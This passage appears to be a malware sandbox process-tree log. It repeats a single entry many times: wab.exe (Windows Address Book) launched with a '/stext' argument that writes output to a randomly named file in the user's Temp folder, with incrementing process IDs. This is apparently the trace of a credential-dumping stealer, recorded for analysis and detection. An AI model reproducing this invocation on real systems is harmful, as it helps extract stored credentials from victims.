        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4892
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2128
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1740
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3256
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1980
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2664
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3156
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1088
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3136
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3760
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4020
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1800
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2412
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4796
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3116
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1168
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3436
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4216
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3712
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4228
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5124
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5132
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5140
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5148
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5156
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5164
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5172
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5180
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5188
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5196
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5204
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5212
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5220
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5228
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5236
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5244
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5252
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5260
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5268
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5276
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5284
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5292
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5300
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5308
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5316
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5324
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5332
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5340
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5348
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5356
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5364
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5372
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5380
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5388
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5396
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5404
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5412
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5420
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5428
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5436
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5444
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5452
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5460
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5468
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5476
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5484
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5492
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5500
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5508
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5516
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5524
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5532
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5540
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5548
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5556
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5564
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5572
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5580
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5588
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5596
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5604
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5612
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5620
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5628
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5636
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5644
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5652
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5660
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5668
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5676
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5684
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5692
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5700
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5708
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5716
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5724
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5732
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5740
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5748
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5756
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5764
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5772
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5780
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5788
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5796
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5804
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5812
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5820
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5828
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5836
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5844
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5852
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5860
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5868
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5876
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5884
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5892
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5900
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5908
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5916
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5924
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5932
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5940
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5948
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5956
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5964
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5972
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5980
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5988
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5996
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6004
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6012
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6020
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:6028
